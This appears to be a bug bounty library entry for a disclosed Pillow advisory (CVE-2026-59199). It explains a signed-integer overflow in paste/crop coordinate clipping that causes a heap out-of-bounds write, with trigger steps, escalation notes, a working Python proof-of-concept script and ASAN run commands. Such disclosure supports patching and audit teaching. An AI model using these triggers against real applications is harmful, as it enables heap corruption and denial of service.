# Pillow: Heap out-of-bounds write `Image.paste()` / `Image.crop()` via signed coordinate overflow

Signed 32-bit overflow in Pillow's ImagingPaste coordinate clipping lets crafted paste/crop boxes cause a controlled backward heap underwrite of 4*W attacker bytes.

- Payout: Research
- Severity: high
- Program: Pillow
- Found by: Serotav
- Disclosed: 2026-07-20
- CVE: CVE-2026-59199
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-6r8x-57c9-28j4
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-6r8x-57c9-28j4
- Tags: area:oss domain:oss impact:dos impact:integrity kind:research platform:ghsa sev:high tech:python technique:source-review vuln:dos vuln:memory-corruption

**Target:** Pillow native C extension (ImagingPaste/ImagingCrop) via Image.paste/crop/alpha_composite
**Root cause:** ImagingPaste computes xsize = dx1 - dx0 and clips with dx0 + xsize using signed int arithmetic; coordinates near INT_MIN/INT_MAX wrap so the size and clip checks pass, then dx *= pixelsize yields a negative destination offset for memcpy.
**Steps:**
1. Create source image `Image.new("RGBA", (2, 1), (0x41,0x42,0x43,0x44))` and destination `Image.new("RGBA", (8, 1))`.
2. Call `dst.paste(src, ((1 << 31) - 2, 0, -(1 << 31), 1))`.
3. In ImagingPaste, `dx1 - dx0` wraps to 2 matching source width, and `dx0 + xsize` wraps so the clip check passes.
4. memcpy writes `4*W` bytes at offset `-4*W` from the destination row pointer (8 bytes before for W=2).
5. Same sink reachable via `Image.crop()` with `left = INT_MIN + 2` and via `alpha_composite(dest=(left,0))`.
**How found:** Reporter examined ImagingPaste's signed int arithmetic for size and clip checks and noticed dx1 - dx0 and dx0 + xsize can wrap with coordinates near INT_MIN/INT_MAX, then traced the wrapped dx into the pixelsize-multiplied memcpy.
**Exploitation:** Any application passing attacker-controlled crop/paste boxes or overlay positions to Pillow triggers a controlled backward heap underwrite of 4*source_width bytes copied from attacker-controlled source pixels; on non-ASAN builds it corrupts the heap and aborts with 'double free or corruption (out)'.
**Escalation:** Primitive scales with source width W: offset and length both 4*W, theoretical upper bound ~2 GiB backwards from the destination row, limited by allocation and heap layout.
**Insight:** When auditing C image/geometry code, feed coordinates at INT_MIN/INT_MAX boundaries into every subtraction and addition used for size and clipping; a wrapped size that matches the source dimension defeats the check, and the wrapped offset then flows into pointer arithmetic.

## Proof of concept (copied exactly from the original report)

**Minimal Image.paste() trigger with INT_MIN box**

```
from PIL import Image

INT_MIN = -(1 << 31)

src = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
dst = Image.new("RGBA", (8, 1))
dst.paste(src, ((1 << 31) - 2, 0, INT_MIN, 1))
```

**Standalone PoC script for paste/crop/alpha paths**

```
#!/usr/bin/env python3
import argparse
import sys

from PIL import Image


INT_MIN = -(1 << 31)


def rgba_pattern(width):
    out = bytearray()
    for i in range(width):
        out += bytes((0x41 + (i % 26), 0x42, 0x43, 0x44))
    return bytes(out)


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "variant",
        choices=("paste", "crop", "alpha"),
        nargs="?",
        default="paste",
    )
    parser.add_argument("-w", "--width", type=int, default=2)
    args = parser.parse_args()

    width = args.width
    src = Image.frombytes("RGBA", (width, 1), rgba_pattern(width))

    if args.variant == "paste":
        box = ((1 << 31) - width, 0, INT_MIN, 1)
        dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0))
        print(f"variant=paste box={box}")
        print(f"expected C dst offset={-4 * width}, write_size={4 * width}")
        sys.stdout.flush()
        dst.paste(src, box)
        print("paste returned; first row:", dst.tobytes().hex())

    elif args.variant == "crop":
        left = INT_MIN + width
        box = (left, 0, left + width, 1)
        print(f"variant=crop box={box}")
        sys.stdout.flush()
        out = src.crop(box)
        print("crop returned; output:", out.tobytes().hex())

    else:
        dest = (INT_MIN + width, 0)
        dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0))
        print(f"variant=alpha dest={dest}")
        sys.stdout.flush()
        dst.alpha_composite(src, dest=dest)
        print("alpha_composite returned; first row:", dst.tobytes().hex())

    sys.stdout.flush()


if __name__ == "__main__":
    main()
```

**ASAN run commands for all three variants**

```
env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
  python b021_poc.py paste

env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
  python b021_poc.py crop

env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
  python b021_poc.py alpha
```

